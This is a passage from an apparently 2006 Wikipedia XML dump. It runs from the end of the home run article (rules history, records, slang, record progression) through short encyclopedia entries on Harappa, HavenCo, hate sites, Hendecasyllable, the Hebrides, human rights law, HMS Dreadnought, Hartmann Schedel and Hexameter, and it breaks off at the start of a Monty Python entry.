In the [[History of baseball in the United States|early days of the game]], when the ball was less lively and the ballparks generally had very large outfields, most home runs were of the inside-the-park variety. The &quot;home&quot; run was literally descriptive. Home runs over the fence were rare, and only in ballparks where a fence was fairly close.

The home run's place in baseball changed dramatically when the [[Live Ball Era|lively ball]] was introduced after [[World War I]]. Batters such as [[Babe Ruth]] and [[Rogers Hornsby]] took full advantage of it during the 1920s, especially as the game's popularity boomed and more outfield seating was built, shrinking the size of the outfield. The teams with the sluggers, especially the [[New York Yankees]], became the championship teams, and other teams had to change their focus from the &quot;inside game&quot; to the &quot;power game&quot; in order to keep up.

Prior to 1931, a ball that bounced over an outfield fence during a major league game was considered a home run. The rule was changed to require the ball to clear the fence on the fly, and balls which reached the seats on a bounce became ground-rule doubles in most parks.

Also, until around that time, the ball had to not only go over the fence fair, but to land in the bleachers fair. The rule stipulated &quot;when last seen&quot; by the [[umpire (baseball)|umpires]]. Photos from that era in ballparks such as the [[Polo Grounds]] show ropes strung from the foul poles to the back of the bleachers, in a straight line with the foul line, as a visual aid for the umpires. Babe Ruth's 60th home run in [[1927 in baseball|1927]] was somewhat controversial, because it landed just fair in the stands down the right field line.

Further, the rules once stipulated that an over-the-fence home run in a sudden-victory situation would only count for as many bases as was necessary to &quot;force&quot; the winning run home. For example, if a team trailed by 2 runs with the bases loaded, and the batter hit a fair ball over the fence, it only counted as a triple, because the runner immediately ahead of him had technically already scored the game-winning run. That rule was changed in the 1920s as home runs became increasingly frequent and popular. Babe Ruth's career total of 714 would have been one higher had that rule not been in effect in the early part of his career.

The all-time career record for home runs in a professional career is held by Japan's [[Sadaharu Oh]] with 868. In Major League Baseball, the record is 755, held by [[Hank Aaron]] since [[1974 in baseball|1974]]. Only three other major league players have hit as many as 600: Babe Ruth (714), [[Barry Bonds]] (708 as of September 2005), and [[Willie Mays]] (660). The single season record is 73, set by Barry Bonds in [[2001 in sports|2001]]. [[Negro league baseball|Negro League]] slugger [[Josh Gibson]] may have hit even more home runs than Oh, but official records from the Negro Leagues are sketchy at best and in some cases nonexistent. The ''Guinness Book of World Records'' lists Gibson's lifetime home run total at 800.

Other legendary home run hitters include [[Ted Williams]], [[Mark McGwire]], [[Sammy Sosa]], [[Mickey Mantle]] (who hit what is considered the longest home run ever at an estimated distance of 643 feet on [[September 10]], [[1960 in baseball|1960]]), [[Reggie Jackson]], [[Ernie Banks]], [[Eddie Mathews]] and the other members of Major League Baseball's [[500 home run club]].

==Home run slang==

[[Baseball slang|Slang terms]] for home runs include: ''big-fly'', ''blast'', ''bomb'', ''circuit clout'', ''dinger'', ''four-bagger'', ''homer'', ''jack'', ''round-tripper'', ''shot'', ''moonshot'', ''tape-measure shot'', ''swat'', ''tater'', ''wallop'' and ''gopherball'' (because the batter &quot;goes for&quot; it). The act of hitting a home run can be called ''going yard''. A game with many home runs in it can be referred to as a ''slugfest''. A player who hits a home run is said to have &quot;dialed 9&quot;, from the practice of having to dial 9 from a hotel room telephone to get &quot;long distance&quot;.

Player nicknames that describe home run-hitting prowess include:
*The ''Sultan of Swat'', the ''Colossus of Clout'', the ''Wali of Wallop'' (Babe Ruth)
*The ''Crown Prince of Swat'' ([[Lou Gehrig]], playing on Ruth's nickname)
*The ''Rajah of Swat'' (Rogers Hornsby, likewise)
*''Hammerin' Hank''. ''The Hammer'', ''The New Sultan of Swat'' (Hank Aaron)
*''Joltin' Joe'' ([[Joe DiMaggio]])
*''Kong'' ([[Dave Kingman]])
*''Juan Gone'' ([[Juan Gonzalez]])
*''Downtown'' ([[Ollie Brown]])
*[[Frank Baker|Frank &quot;Home Run&quot; Baker]]
*''Two Man Swat Team'' [[Manny Ramírez]] and [[David Ortiz]]
*''The Bash Brothers'' (Mark McGwire and [[José Canseco]])
*''Slammin' Sammy'' (Sammy Sosa)
*''[[Murderers' Row]]'' (the entire [[New York Yankees]] lineup for [[1927 in baseball|1927]])
*The &quot;Big Hurt&quot; ([[Frank Thomas (AL baseball player)|Frank Thomas]])

== Progression of the single-season home run record ==

: '''5''', by [[George Hall (baseball player)|George Hall]], Philadelphia Athletics (NL), [[1876 in baseball|1876]] (70 game schedule)
: '''9''', by [[Charley Jones]], [[Atlanta Braves|Boston Red Stockings]] (NL), [[1879 in baseball|1879]] (84 game schedule)
:'''14''', by [[Harry Stovey]], Philadelphia Athletics (AA), [[1883 in baseball|1883]] (98 game schedule)
:'''27''', by [[Ned Williamson]], [[Chicago Cubs|Chicago White Stockings]] (NL), [[1884 in baseball|1884]] (112 game schedule)
::Williamson benefitted from a very short outfield fence in his home ballpark, [[Union Base-Ball Grounds|Lakeshore Park]]. During the park's previous years, balls hit over the fence in that park were ground-rule doubles, but in 1884 (its final year) they were credited as home runs. Williamson led the pace, but several of his Chicago teammates also topped the 20 HR mark that season. Of Williamson's total, 25 were hit at home, and only 2 on the road. Noticing the fluke involved, fans of the early 20th century were more impressed with [[Buck Freeman]]'s total of 25 home runs in [[1899 in baseball|1899]] or [[Gavvy Cravath]]'s [[1915 in baseball|1915]] total of 24.
:'''29''', by [[Babe Ruth]], [[Boston Red Sox]] (AL), [[1919 in baseball|1919]] (140 game schedule)
::Even with that relatively small quantity, Ruth outslugged 10 of the other 15 major league clubs. The second-highest individual total was 12, by Gavvy Cravath of the [[Philadelphia Phillies]]. Ruth homered in every park in the league, the first time anyone had achieved that goal.
:'''54''', by Ruth, [[New York Yankees]] (AL), [[1920 in baseball|1920]] (154 game schedule)
::Ruth hit just a few more home runs on the road (26) than he had the previous year (20), but he hit far more (29) in the Polo Grounds in New York (where the Yankees played at the time) than he had in [[Fenway Park]] (9) in Boston the year before, as he took full advantage of the nearby right field wall. Of the other 15 major league clubs, only the Philadelphia Phillies exceeded Ruth's single-handeded total, hitting 64 in their bandbox ballpark [[Baker Bowl]]. The second-highest individual total was the [[Baltimore Orioles|St. Louis Browns]]' [[George Sisler]]'s 19. Ruth's major-league record slugging percentage (total bases / at bats) of .847 stood for the next 80 years.
:'''59''', by Ruth, New York (AL), [[1921 in baseball|1921]] (154 game schedule)
::Ruth's slugging percentage was just .001 less than his record-setting average the previous year.
:'''60''', by Ruth, New York (AL), [[1927 in baseball|1927]] (154 game schedule)
::Ruth hit more home runs in 1927 than any of the other seven American League ''teams''.  His closest rival was his teammate [[Lou Gehrig]], who hit 47 homers that year.
:'''61''', by [[Roger Maris]], New York (AL), [[1961 in baseball|1961]] (162 game schedule)
::Pushing Maris that year was teammate [[Mickey Mantle]]; slowed by an injury late in the season, Mantle finished with 54.
:'''70''', by [[Mark McGwire]], [[St. Louis Cardinals]] (NL), [[1998 in baseball|1998]] (162 game schedule)
::Pushing McGwire that year was [[Sammy Sosa]] of the [[Chicago Cubs]], who finished with 66. When McGwire hit his 62nd home run to break the record, the Cardinals were playing at home ([[Busch Stadium]] in [[Saint Louis, Missouri|St. Louis]]) against the Cubs. In a tremendous show of sportsmanship, Sosa, who was playing in the [[right fielder|outfield]], actually ran in to celebrate with McGwire, who in return honored Sosa by saluting him in Sosa's own trademark fashion. McGwire also went to the stands to honor Maris' family, who were in attendance at the game. The following day, newspapers throughout the United States printed commemorative sports pages in honor of the milestone.
:'''73''', by [[Barry Bonds]], [[San Francisco Giants]] (NL), [[2001 in baseball|2001]] (162 game schedule)
::Far less press surrounded Bonds's chase for the record than surrounded McGwire's for three main reasons. First, most attention was still focused on the recent [[September 11, 2001 attacks|9/11 terrorist attacks]]. Second, the record at that time had stood for only three years. Third, Barry Bonds' surly relationship with the news media contrasted significantly with the relative openness of McGwire and the expressiveness of Sosa in 1998. Bonds' phenomenal [[slugging percentage]] of .863 broke the major league record set by Ruth in 1920.

Selected list of pitchers giving up record home runs:
*1919 - [[Waite Hoyt]], New York Yankees - Babe Ruth's 28th of the season
*1920 - (still looking for it - July 20), Chicago White Sox - Babe Ruth's 30th of the season
*1921 - [[Bill Bayne]], St. Louis Browns - Babe Ruth's 55th of the season 
*1927 - [[Tom Zachary]], Washington Nats/Senators - Babe Ruth's 60th of the season
*1961 - [[Tracy Stallard]], Boston Red Sox - Roger Maris' 61st of the season
*1974 - [[Al Downing (baseball player)|Al Downing]], Los Angeles Dodgers - Hank Aaron's 715th of his career
*1998 - [[Steve Trachsel]], Chicago Cubs - Mark McGwire's 62nd of the season 
*2001 - [[Chan Ho Park]], Los Angeles Dodgers - Barry Bonds' 71st of the season 
This includes only the home runs that broke a record set in a previous year, not home runs that extended a record within the same year.

==See also==
*''[[61*]]'', a [[2001 in television|2001]] made-for-TV [[baseball movie]] chronicling Maris' 1961 season
* [[List of home run calls in baseball]]

===Career achievement lists===
* [[List of lifetime home run leaders through history]]
* [[Major League Baseball home run milestones]]
* [[500 home run club]]
* [[Top 500 home run hitters of all time]]
* [[MLB All-Time leaders in Homeruns for a Pitcher|All-Time leaders in home runs for a pitcher]]
* [[Home run leaders by letter]]

===Single game or season achievements===

* [[Batters with 4 home runs in one game|Players who have hit 4 home runs in the same baseball game]]
* [[Batters with two Grand Slams in the same baseball game|Players who have hit two Grand Slams in the same baseball game]]
* [[MLB players who have hit 3 home runs in consecutive innings|Players who have hit home runs in consecutive innings]]
* [[Batters with Two 3-Home run Games in a Season|Players who have hit Two 3-Home run Games in a Season]]
* [[MLB players who have hit 30 or more home runs before the All-Star break|Players who have hit 30 or more home runs before the All-Star break]]

==External links==
*[http://baseball-almanac.com/firsts/first7.shtml First Career Home Run by Members of the 500 Home Runs Club at ''Baseball Almanac'']
*[http://www.baseball-almanac.com/feats/art_hr.shtml Long Distance Home Runs at ''Baseball Almanac'']

[[Category:Baseball statistics]]
[[Category:Baseball rules]]

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[[fr:Coup de circuit]]
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[[ja:ホームラン]]
[[zh:全壘打]]</text>
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  </page>
  <page>
    <title>Harappa</title>
    <id>14149</id>
    <revision>
      <id>41635571</id>
      <timestamp>2006-02-28T18:09:47Z</timestamp>
      <contributor>
        <ip>71.120.183.108</ip>
      </contributor>
      <comment>correct reference and add external link</comment>
      <text xml:space="preserve">[[Image:Harappa.gif|right|thumb|380px|Conception of ancient Harappa's Mound E Gateway [http://www.harappa.com/3D/7.html]]]
'''Harappa''' is a [[city]] in [[Punjab, Pakistan|Punjab]], northeast [[Pakistan]], located beside a former course of the [[Ravi River]]; about 35km southwest of [[Sahiwal]].

The modern town is built beside the remains of an [[ancient history|ancient]] [[fortification|fortifed]] city, which was part of the
[[Cemetery H culture|Cemetery H]] and the [[Indus Valley Civilization]]. The city existed from about [[3300 BCE]] [1] until [[1600 BCE]] [2]. 

----

In [[2005]] a controversial [[amusement park]] scheme at the site was abandoned when builders encountered large quantities of artifacts during the beginning of construction work. A plea from the prominent Pakistani archaeologist [[Ahmed Hasan Dani]] to the Ministry of Culture resulted in a re-survey of the site and cancellation of the project amid accusations of corruption and incompetence.

----

Notes

[1] The earliest [[radiocarbon dating]] mentioned on the web is 2725+-185 BCE (uncalibrated) or 3338, 3213, 3203 BCE calibrated, giving a midpoint of 3251 BCE. Kenoyer, Jonathan Mark (1991) Urban process in the Indus Tradition: A preliminary report. In Harappa Excavations, 1986-1990: A multidisciplanary approach to Third Millennium urbanism, edited by Richard H. Meadow: 29-59. Monographs in World Archaeology No.3. Prehistory Press, Madison Wisconsin.

[2]  Periods 4 and 5 are not dated at Harappa. The termination of the Harappan tradition at Harappa falls between 1900 and 1500 BCE.

[3] [[Mohenjo-daro]] is another major city of the same period, located in [[Sindh]] province of [[Pakistan]].

==External links==
*Excavations of the city are described at http://www.harappa.com.
*Discussion of Harappan Tradition and extensive Bibliography http://harappa.knows.it.

[[Category:Archaeological sites in Pakistan]]
[[Category:World Heritage Sites in Pakistan]]
[[Category:Indus Valley sites]]
[[Category:Bronze Age]]</text>
    </revision>
  </page>
  <page>
    <title>HavenCo</title>
    <id>14150</id>
    <revision>
      <id>37930612</id>
      <timestamp>2006-02-03T01:11:30Z</timestamp>
      <contributor>
        <username>Kingboyk</username>
        <id>411305</id>
      </contributor>
      <minor />
      <comment>remove Lackey's dob (he has an article); remove nn redlink</comment>
      <text xml:space="preserve">'''HavenCo''' Limited is a data hosting services company founded in [[2000]] which operates from [[Sealand]], an unrecognized self-declared 'sovereign principality' that occupies a man-made former [[World War II|World War 2]] defensive facility originally known as [[Roughs Tower]] located approximately six miles from the coast of [[Suffolk]], southeast [[England]].

On [[August 22]], [[2000]], Michael Bates of Leigh-on-sea, [[Essex]] (who is also known as Prince Michael of Sealand), bought a dormant British company which was renamed HavenCo Limited. It was given the registration number of 04056934 by [[Companies House]], an executive agency of the UK Department of Trade and Industry. The registered office of HavenCo Limited was recorded at 11 Kintyre House, Cold Harbour, London, E14 9NL England. The directors were listed as Michael Roy Bates, a citizen of the United Kingdom, who was named Chief Operating Officer, and [[Ryan Lackey|Ryan Donald Lackey]], a US citizen. Other founders included Sean and Jo Hastings and Avi Freedman. The company later relocated its registration to [[Cyprus]].

HavenCo initially received broad coverage in the international media, appearing on the cover of ''[[Wired Magazine]]'', in over 200 press articles, and in several television reports. In these reports, HavenCo claimed to have established a secure [[colocation]] facility on Sealand, and that it had commenced operations as a [[data haven]]. Detractors claim that these reports gave the impression that HavenCo was registered on Sealand itself, and that the company would issue domain names under the authority of that entity, when in fact it had no entitlement to do so. 

The company announced that it had become operational in [[December]] [[2000]] and that its [[Acceptable Use Policy]] prohibited [[child pornography]], [[spamming]], and malicious [[hacking]] - but that all other content was acceptable. It claimed that it had no restrictions on [[copyright]] or [[intellectual property]] for data hosted on its [[server]]s, arguing that as Sealand was not a member of the [[World Trade Organization]] or [[WIPO]], international intellectual property law did not apply. Other services available from HavenCo at the time included IT consulting, systems administration, offshore [[software]] development, and [[electronic mail]] services.

Following the [[September 11, 2001 attacks|9/11]] terrorist attacks Lackey announced that the operation would block initiatives &quot;contrary to international custom and practice&quot;. HavenCo claimed that it had experienced few difficulties with any foreign government or organization, although according to detractors, the British government &quot;reacted quietly&quot; by enforcing British laws concerning unlicensed data transmissions to and from Sealand, although it is unclear what is meant by this, and no evidence has been produced in support of these claims.

[[Ryan Lackey]] left HavenCo under acrimonious circumstances in [[2001]], citing disagreements with the Bates family over management of the company. HavenCo itself is still in operation, but the extent of its current business is unknown.

HavenCo resembles [[Neal Stephenson]]'s fictional datahaven in the novel ''[[Cryptonomicon]]'', and various details match up as well &amp;mdash; an investor named Avi, location on an island, affiliation with [[cypherpunk]]s, use of [[cryptography]], etc. However, HavenCo was already in operation before the book was in wide circulation, and the concept of a data haven is a far older idea. The use of small islands as [[tax haven]]s and [[flag of convenience|flags of convenience]] is perhaps a hundred years old, and data havens claim to be an extension of that same theme.

== External links ==
*[http://www.havenco.com/ HavenCo.com] - HavenCo's [[website]]
*[http://www.wired.com/wired/archive/8.07/haven.html &quot;Welcome to Sealand. Now Bugger Off.&quot;] - A [[Wired.com]] article written by Simson Garfinkel
*[http://news.com.com/2100-1028_3-5059676.html?tag=fd_top &quot;Has 'haven' for questionable sites sunk?&quot;] - A News.com article from [[August 4]], 2003

[[Category:Computer law]]

{{Sealand}}</text>
    </revision>
  </page>
  <page>
    <title>Hate site</title>
    <id>14151</id>
    <revision>
      <id>40325671</id>
      <timestamp>2006-02-19T20:58:24Z</timestamp>
      <contributor>
        <username>Computerjoe</username>
        <id>145799</id>
      </contributor>
      <comment>add npov</comment>
      <text xml:space="preserve">{{attention}}
{{npov}}

The term '''&quot;hate site&quot;''' is used by some to refer to [[websites]] that are said to promote hatred. Typically, these sites contain criticism of a specific [[race]], [[religion]], [[sexuality|sexual]] behavior, or nationality.

===What is ''Hate''?===
A popular argument which attempts to define such things as [[vulgar|vulgarity]] and [[pornography]] is &quot;I know it when I see it.&quot; This is a subjective argument, however, as what one person considers to be obscene, another may find perfectly acceptable. Generally, however, the intense dislike of a group of people based solely on one or more shared differences, considered [[bigotry]], [[racism]], and many others, could be seen as hate.

===Balance Between Free Speech and Hate===
In the [[United States]], many famous [[Supreme Court of the United States|Supreme Court]] decisions have attempted to create a distinction between ''hate speech'' and ''[[Freedom of speech|free speech]]''. [[Chaplinsky v. New Hampshire]] articulated the [[fighting words|fighting words doctrine]], which held that ''social interest in order and morality'' outweighed an individuals right to speech. [[Beauharnais v. Illinois]] gave further rights to groups to protect themselves from [[Slander and libel|libel]]. [[Miller v. California]] established the [[Miller test]], which is a three part standard for determining what qualifies as ''obscene''.

===Hate on the Internet===
The online gathering of persons with racist, sexist, etc., attitutes can trace its roots to the days of the [[Bulletin board system|Bbs]]. A high level of anonymity allowed users access to others with similar beliefs, without exposing themselves to public scrutiny. With the advent of the [[internet]], these Bbs's shifted to the [[World Wide Web]].

Most of these sites contain [[Internet forum|message forums]], for user interaction, and [[news]] briefs which emphasize a particular viewpoint. 

===Freedom of Speech Online=== 

The introduction of hate sites, along with message boards and easier general access to the internet for the public, led many public officials to question if the same rights of freedom of speech applied online, where the same words and thoughts could reach many more people instantly. Today, there are still attempts to pass laws that would restrict the content available online, including hate sites and pornographic material. 

===External links===
{{npov-section}}

====Websites Said to Promote Hatred====
*[http://www.stormfront.org Stormfront]
*[http://www.natvan.com National Alliance]
*[http://www.kkk.com Ku Klux Klan]
====Websites which are considered ''Anti-Hate''====
*[http://www.tolerance.org/hate_internet/index.jsp Tolerance.org]
*[http://www.splcenter.org Southern Poverty Law Center]</text>
    </revision>
  </page>
  <page>
    <title>Hendecasyllable</title>
    <id>14153</id>
    <revision>
      <id>27357118</id>
      <timestamp>2005-11-04T15:36:38Z</timestamp>
      <contributor>
        <ip>80.131.240.181</ip>
      </contributor>
      <comment>added links to the German and Italian Wiki-content</comment>
      <text xml:space="preserve">'''Hendecasyllable''' [[verse]] (in [[Italian language|Italian]] ''endecasillabo'') is a kind of verse used mostly in [[Italy|Italian]] [[poetry]], defined by its having the last stress on the tenth [[syllable]]. When, as often happens, this stress falls on the last but one syllable, the line has exactly eleven syllables (and the literal meaning of the word is just &quot;of eleven syllables&quot;).

The most usual [[stress scheme]]s for an hendecasyllable are stresses on 6th and 10th syllables (''Nel mezzo del cammin di nostra vita'', [[Dante Alighieri]], first line of ''[[The Divine Comedy]]),'' and on 4th, 7th and 10th syllables (''Un incalzar di cavalli accorrenti'', [[Ugo Foscolo]], ''[[I Sepolcri]]'').

Most classical Italian poems are composed of hendecasyllables, for instance, the main works by [[Dante Alighieri|Dante]], [[Francesco Petrarca]], [[Ludovico Ariosto]], and [[Torquato Tasso]].

It has a role in Italian poetry, and a formal structure, comparable to the [[iambic pentameter]] in [[English language|English]] or the [[alexandrine]] in [[French language|French]].

This form is not to be confused with ''[[hendecasyllabic verse|hendecasyllabics]]'', a quantitative meter used by [[Catullus]].

[[Category:Poetic form]]

[[de:Endecasillabo]]
[[it:Endecasillabo]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrides</title>
    <id>14155</id>
    <revision>
      <id>42162087</id>
      <timestamp>2006-03-04T05:50:32Z</timestamp>
      <contributor>
        <username>Manxruler</username>
        <id>299164</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">:''This article is about the '''Hebrides''' islands in Scotland.  See also the [[New Hebrides]] for the islands constituting [[Vanuatu]].''

[[Image:Hebridesmap.png|thumb|300px|The Hebrides]]
The '''Hebrides''' comprise a widespread and diverse [[archipelago]] off the west coast of [[Scotland]], and in [[geology|geological]] terms are composed of the oldest rocks in the [[British Isles]]. They can be divided into two main groups:

* [[Inner Hebrides]], including [[Isle of Skye|Skye]], [[Isle of Mull|Mull]], [[Islay]], [[Jura, Scotland|Jura]], [[Staffa]] and the [[Small Isles]]
* [[Outer Hebrides]], including [[Lewis]] and [[Harris]], [[Berneray, North Uist, Scotland|Berneray]], [[North Uist]], [[South Uist]], [[Barra]] and [[St Kilda, Scotland|St Kilda]]

The Hebrides as a whole are sometimes referred to as the [[Western Isles]], but this term is more accurately applied just to the Outer Hebrides.

The Hebrides are probably the best-known group of [[list of islands of Scotland|Scottish islands]], but other groups include the [[islands of the lower Firth of Clyde]] and the [[Northern Isles]]. The islands in the Clyde, especially [[Isle of Arran|Arran]], are sometimes mistakenly called Hebrides too.

''The Hebrides'', also known as ''[[Fingal's Cave]]'', is a famous overture written by [[Felix Mendelssohn]] while residing on these islands.

The majority of native [[Scottish Gaelic]] speakers live on, or come from, the Hebrides. [[Sabhal Mòr Ostaig]], the Gaelic college is based on Skye and Islay. Especially on the Outer Hebrides, the language is still very viable.

==The Hebrides under Norse control==
The Hebrides began to come under [[Norse]] control and settlement already before the [[9th century AD]]. The Norse control of the Hebrides was formalized in [[1098]] when [[Edgar of Scotland]] formally signed the islands over to [[Magnus III of Norway]]. The Scottish acceptance of Magnus III as King of the Isles came after the Norwegian king had conquered the Orkney Islands, the Hebrides and the Isle of Man in a swift campaign earlier the same year, directed against the local Norwegian leaders of the various islands. By capturing the islands Magnus III wanted to assume more direct royal control over the islands which had been seized by Viking groups centuries earlier.

The Norwegian control of both the Inner and Outer Hebrides would see almost constant warfare until being ultimately resolved by the partioning of the Western Isles in [[1156]]. The Outer Hebrides would remain under the [[Kingdom of Mann and the Isles]] while the Inner Hebrides broke out under [[Somerled]], the Norse-Celtic kinsman of both [[Lulach]] and the Manx royal house. Although the Inner Hebrides, from 1156 known as the Kingdom of the Hebrides, still nominally was under the sovereignty of Norway, the leaders were Scottish in language and culture rather than Norse.

After his victory of 1156 Somerled went on to two years later seize control over the Isle of Man itself and become the last King of the Isle of Man and the Isles to rule over all the islands the kingdom had once included. After Somerled's death in [[1164]] the rulers of Mann would no longer be in control of the Inner Hebrides. 

In the [[1266]] [[Treaty of Perth]] the Outer Hebrides, along with the Isle of Man, were yielded to the [[Kingdom of Scotland]].

==See also==
*[[Geology of the United Kingdom]]
*[[UK topics]]
*[[Kingdom of Mann and the Isles]]
*[[Somerled]]
*[[List of Kings of the Isle of Man and the Isles]]
*[[List of Kings of the Isle of Man]]
*[[Outer Hebrides]]
*[[Inner Hebrides]]

==References==
*Ross, David (2005) ''Scotland - History of a Nation''

[[Category:Islands of Scotland]]
[[Category:Archipelagoes]]

{{Template:Hebrides}}
[[da:Hebriderne]]
[[de:Hebriden]]
[[et:Hebriidid]]
[[eo:Hebridaj Insuloj]]
[[fr:Hébrides]]
[[ko:헤브리디스 제도]]
[[it:Isole Ebridi]]
[[nl:Hebriden]]
[[ja:ヘブリデス諸島]]
[[no:Hebridene]]
[[nn:Hebridane]]
[[pl:Hebrydy]]
[[pt:Hébridas]]
[[fi:Hebridit]]
[[sv:Hebriderna]]</text>
    </revision>
  </page>
  <page>
    <title>Human rights law</title>
    <id>14157</id>
    <revision>
      <id>15911730</id>
      <timestamp>2005-05-05T16:39:23Z</timestamp>
      <contributor>
        <ip>64.241.204.1</ip>
      </contributor>
      <text xml:space="preserve">'''Human rights law''' is a system of laws, both domestic and international which is intended to promote [[human rights]].  Human rights law includes a number of treaties which are intended to punish some violations of human rights such as [[war crime]]s, [[crime against humanity|crimes against humanity]] and [[genocide]].  There are also a number of international courts which have been constituted to judge violations of human rights including the [[European Court of Human Rights]] and the [[International Criminal Court]].

One concept within human rights law is that of [[universal jurisdiction]].  This concept, which is not widely accepted, is that any nation is authorized to prosecute and punish violations of human rights wherever and whenever they may have occurred.

The [[Universal Declaration of Human Rights]] is a statement of human rights adopted by the United Nations General Assembly in 1948.  By itself it is a statement of principles widely understood to be asperational and its legal effect is primarily persuasive. A number of subsequent treaties give varying legal effect to some of its provisions.


{{Law-stub}}

[[Category:Human rights]]</text>
    </revision>
  </page>
  <page>
    <title>HMS Dreadnought</title>
    <id>14158</id>
    <revision>
      <id>36389179</id>
      <timestamp>2006-01-23T19:02:01Z</timestamp>
      <contributor>
        <username>Merchbow</username>
        <id>802509</id>
      </contributor>
      <comment>highlighted the famous one</comment>
      <text xml:space="preserve">Six ships and one submarine of the [[Royal Navy]] have borne the name '''HMS ''Dreadnought''''' in the expectation that they would &quot;dread nought&quot;, i.e. &quot;fear nothing&quot;, &quot;but God&quot;. The sixth ship was one of the Royal Navy's most famous vessels.

* ''Dreadnought'' of 40 guns is mentioned as in service in [[1553]], but its existence is doubtful.
* The [[HMS Dreadnought (1573)|first ''Dreadnought'']] was a 41-gun ship launched in [[1573]], rebuilt in [[1592]] and [[1614]], then broken up in [[1648]].
* The [[HMS Dreadnought (1691)|second ''Dreadnought'']] was a 60-gun [[4th rate]] launched in [[1691]], rebuilt in [[1706]] and broken up [[1748]].
* The [[HMS Dreadnought (1742)|third ''Dreadnought'']] was a 60-gun [[4th rate]] launched in [[1742]] and sold [[1784]].
* The [[HMS Dreadnought (1801)|fourth ''Dreadnought'']] was a 98-gun [[2nd rate]] launched in [[1801]], converted to a [[hospital ship]] in [[1827]], and broken up [[1857]].
* The [[HMS Dreadnought (1875)|fifth ''Dreadnought'']] was a [[battleship]] launched in [[1875]] and hulked in [[1903]], then sold in [[1908]].
* The [[HMS Dreadnought (1906)|sixth ''Dreadnought'']] was a revolutionary [[battleship]], launched in [[1906]] and sold for breakup in [[1921]].
* The [[HMS Dreadnought (S101)|seventh ''Dreadnought'' (S101)]] was the UK's first nuclear-powered [[submarine]].

{{shipindex}}

[[Category:Royal Navy ship names|Dreadnought]]
[[ja:ドレッドノート]]</text>
    </revision>
  </page>
  <page>
    <title>Hartmann Schedel</title>
    <id>14159</id>
    <revision>
      <id>41558206</id>
      <timestamp>2006-02-28T03:32:01Z</timestamp>
      <contributor>
        <ip>89.50.230.62</ip>
      </contributor>
      <comment>/* Illustrations in the World Chronicle */</comment>
      <text xml:space="preserve">'''Hartmann Schedel''', a german [[humanist]] and [[historian]] (* [[February 13]], [[1440]] in Nuremberg, † [[November 28]], [[1514]] in Nuremberg), was one of the first [[cartographer]]s to make use of the [[printing press]].

Many of the maps in his &quot;[[Nuremberg Chronicle|Schedelsche Welt Chronik]]&quot; (Schedel's World Chronicle, also known as Nuremberg Chronicle) show cities and countries illustrated for the first time ever.

The World Chronicle was published [[1493]] in [[Nuremberg]] and is therefore an [[incunabulum]]. 

With the recent establishment of the printing press by [[Johann Gutenberg]] it rapidly became feasible to print books and maps for a larger customer basis, whereas earlier books had been extremely rare, due to them having to be handwritten.

== Illustrations in the World Chronicle ==
&lt;gallery&gt;
Image:Schedel konstantinopel.jpg|[[Constantinopolis]]
Image:Nuernberg schedel.JPG|Nuremberg
Image:Hartmann-schedel-hierosolima-1493 2-BW-1147x965.jpg|The oldest printed map of [[Jerusalem]]
Image:Cairo map1492 schedel.jpg|Map of [[Cairo]]
Image:Nuremberg chronicles - Dance of Death (CCLXIIIIv).jpg|Dance of Death
Image:Schedel judenfeindlichkeit2.jpg|Hostility to [[Jews]]
Image:Schedel register.jpg|Registry
&lt;/gallery&gt;


{{geoscientist-stub}}
[[Category:German cartographers|Schedel]]
[[Category:Nuremberg]]

[[de:Hartmann Schedel]]
[[pt:Hartmann Schedel]]
[[fr:Hartmann Schedel]]</text>
    </revision>
  </page>
  <page>
    <title>Hexameter</title>
    <id>14160</id>
    <revision>
      <id>41660710</id>
      <timestamp>2006-02-28T22:11:37Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nn</comment>
      <text xml:space="preserve">'''Hexameter''' is a [[literature|literary]] and [[poetry|poetic]] form, consisting of six [[metrical foot|metrical feet]] per line as in the ''[[Iliad]]''. It was the standard epic metre of both the Greeks and the Romans, and was used in other types of composition too -- in [[Horace]]'s satires, for instance, and [[Ovid]]'s ''[[Metamorphoses (poem)|Metamorphoses]]''. In [[Greek mythology]], hexameter was invented by [[Phemonoe]].

The hexameter has never enjoyed a similar popularity in English, where the standard metre is [[iambic pentameter]]; however, various English poems have been written in hexameter over the centuries. There are numerous examples of [[iambic]] hexameter from the 16th century and a few from the 17th; the most prominent of these is [[Michael Drayton]]'s ''Poly-Olbion'' ([[1612]]) in hexameter couplets. An example from Drayton:

:Nor any other wold like Cotswold ever sped,
:So rich and fair a vale in fortuning to wed.


In the 17th century the iambic hexameter, or [[alexandrine]], was used as a substitution in the [[heroic couplet]], and as one of the types of permissible lines in lyrical stanzas and the [[Pindaric]] odes of [[Abraham Cowley|Cowley]] and [[John Dryden|Dryden]]. 

Several attempts were made in the 19th century to naturalise the [[dactylic hexameter]] to English, by [[Longfellow]], [[Arthur Hugh Clough]] and others, none of them particularly successful. [[Gerard Manley Hopkins]] wrote many of his poems in six foot iambic and [[sprung rhythm]] lines. In the 20th century a loose ballad-like six-foot line with a strong medial pause was used by [[William Butler Yeats|Yeats]]. The iambic six-foot line has also been used occasionally, and an accentual six-foot line has been used by translators from the Latin and many poets. 

''See also'': [[Dactylic hexameter]]

== External links ==
* [http://etext.lib.virginia.edu/stc/Coleridge/poems/Hexameters.html Example in English] by [[Coleridge]]
* [http://www.skidmore.edu/classics/courses/metrica Hexametrica], a tutorial on Latin dactylic hexameter at [[Skidmore College]].

[[Category:Poetic form]]
{{poetry-stub}}

[[ca:Hexàmetre]]
[[da:Heksameter]]
[[de:Hexameter]]
[[es:Hexámetro]]
[[it:Esametro]]
[[nl:Hexameter]]
[[no:Heksameter]]
[[nn:Heksameter]]
[[ru:Гекзаметр]]
[[sv:Hexameter]]</text>
    </revision>
  </page>
  <page>
    <title>Holy Hand Grenade of Antioch</title>
    <id>14161</id>
    <revision>
      <id>41715731</id>
      <timestamp>2006-03-01T06:32:31Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>missing punctuation</comment>
      <text xml:space="preserve">The '''Holy Hand Grenade of Antioch''' is a fictional [[weapon]] from the film ''[[Monty Python and the Holy Grail]]''.  Although a minor gag in the film, the '''Holy Hand Grenade''' (as it is more popularly known) has gone on to be one of the most frequently referred to elements of '''[[Monty Python]]''' humour.

